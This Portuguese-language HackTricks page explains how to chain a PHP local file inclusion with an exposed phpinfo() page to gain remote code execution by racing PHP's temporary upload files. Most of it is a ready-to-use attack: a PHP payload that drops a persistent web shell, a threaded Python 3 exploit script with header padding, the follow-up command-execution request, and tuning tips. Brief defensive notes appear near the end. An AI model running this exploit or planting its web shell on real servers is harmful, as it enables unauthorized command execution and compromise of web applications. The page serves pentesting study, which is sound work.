LFI to RCE via PHPInfo
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Para explorar esta técnica você precisa de todos os seguintes itens:
- Uma página acessível que imprima a saída do phpinfo().
 - Uma primitiva de Local File Inclusion (LFI) que você controla (p.ex., include/require a partir de input do usuário).
 - Uploads de arquivo em PHP habilitados (file_uploads = On). Qualquer script PHP aceitará uploads multipart RFC1867 e criará um arquivo temporário para cada parte enviada.
 - O worker PHP deve ser capaz de escrever no upload_tmp_dir configurado (ou no diretório temporário padrão do sistema) e seu LFI deve ser capaz de incluir esse caminho.
 
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
 - Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
 
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Notas sobre o PoC original
- A saída do phpinfo() é codificada em HTML, então a seta "=>" frequentemente aparece como "=>". Se você reutilizar scripts legados, assegure-se de que eles procurem por ambas as codificações ao analisar o valor _FILES[tmp_name].
 - Você deve adaptar o payload (seu código PHP), REQ1 (a requisição para o endpoint phpinfo() incluindo padding), e LFIREQ (a requisição para o seu LFI sink). Alguns alvos não precisam de um terminador null-byte (%00) e versões modernas do PHP não o respeitarão. Ajuste o LFIREQ de acordo com o sink vulnerável.
 
Exemplo sed (apenas se você realmente usar o antigo PoC em Python2) para corresponder à seta codificada em HTML:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Teoria
- Quando o PHP recebe um POST multipart/form-data com um field de arquivo, ele grava o conteúdo em um arquivo temporário (upload_tmp_dir ou o padrão do SO) e expõe o caminho em $_FILES['
']['tmp_name']. O arquivo é removido automaticamente ao final da requisição, a menos que seja movido/renomeado.  - O truque é descobrir o nome temporário e incluí-lo via seu LFI antes que o PHP o limpe. phpinfo() imprime $_FILES, incluindo tmp_name.
 - Ao inflar headers/parâmetros da requisição (padding) você pode fazer com que pedaços iniciais da saída de phpinfo() sejam liberados para o cliente antes da conclusão da requisição, assim você pode ler tmp_name enquanto o arquivo temporário ainda existe e então imediatamente acessar o LFI com esse caminho.
 
No Windows os arquivos temporários costumam estar sob algo como C:\Windows\Temp\php*.tmp. No Linux/Unix eles geralmente ficam em /tmp ou no diretório configurado em upload_tmp_dir.
Fluxo de ataque (passo a passo)
- Prepare um payload PHP pequeno que persista uma shell rapidamente para evitar perder a corrida (escrever um arquivo geralmente é mais rápido do que esperar por um reverse shell):
 
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
- 
Envie um grande POST multipart diretamente para a página phpinfo() para que ela crie um arquivo temporário contendo seu payload. Infle vários headers/cookies/params com ~5–10KB de padding para encorajar saída precoce. Certifique-se de que o nome do campo do formulário corresponde ao que você vai parsear em $_FILES.
 - 
Enquanto a resposta do phpinfo() ainda estiver em streaming, parseie o corpo parcial para extrair $_FILES['
']['tmp_name'] (HTML-encoded). Assim que tiver o caminho absoluto completo (ex.: /tmp/php3Fz9aB), dispare seu LFI para incluir esse caminho. Se o include() executar o arquivo temporário antes dele ser apagado, seu payload será executado e gerará /tmp/.p.php.  - 
Use o arquivo gerado: GET /vuln.php?include=/tmp/.p.php&x=id (ou onde quer que seu LFI permita incluir) para executar comandos de forma confiável.
 
Dicas
- Use múltiplos workers concorrentes para aumentar suas chances de vencer a condição de corrida.
 - Locais de padding que comumente ajudam: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Ajuste por alvo.
 - Se o sink vulnerável acrescenta uma extensão (e.g., .php), você não precisa de um null byte; include() irá executar PHP independentemente da extensão do arquivo temporário.
 
Minimal Python 3 PoC (socket-based)
O trecho abaixo foca nas partes críticas e é mais fácil de adaptar que o script legado Python2. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Solução de problemas
- Você nunca vê tmp_name: Certifique-se de realmente fazer POST multipart/form-data para phpinfo(). phpinfo() imprime $_FILES apenas quando um campo de upload estava presente.
 - A saída não é liberada cedo: Aumente o padding, adicione mais headers grandes ou envie múltiplas requisições concorrentes. Alguns SAPIs/buffers não farão flush até limites maiores; ajuste conforme necessário.
 - Caminho LFI bloqueado por open_basedir ou chroot: Você deve apontar o LFI para um caminho permitido ou mudar para um vetor LFI2RCE diferente.
 - Diretório temporário não é /tmp: phpinfo() imprime o caminho tmp_name absoluto completo; use esse caminho exato no LFI.
 
Notas defensivas
- Nunca exponha phpinfo() em produção. Se necessário, restrinja por IP/autenticação e remova após o uso.
 - Mantenha file_uploads desabilitado se não for necessário. Caso contrário, restrinja upload_tmp_dir para um caminho não alcançável por include() na aplicação e aplique validação estrita em quaisquer caminhos de include/require.
 - Trate qualquer LFI como crítico; mesmo sem phpinfo(), outros caminhos LFI→RCE existem.
 
Técnicas relacionadas do HackTricks
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Referências
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
 - PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks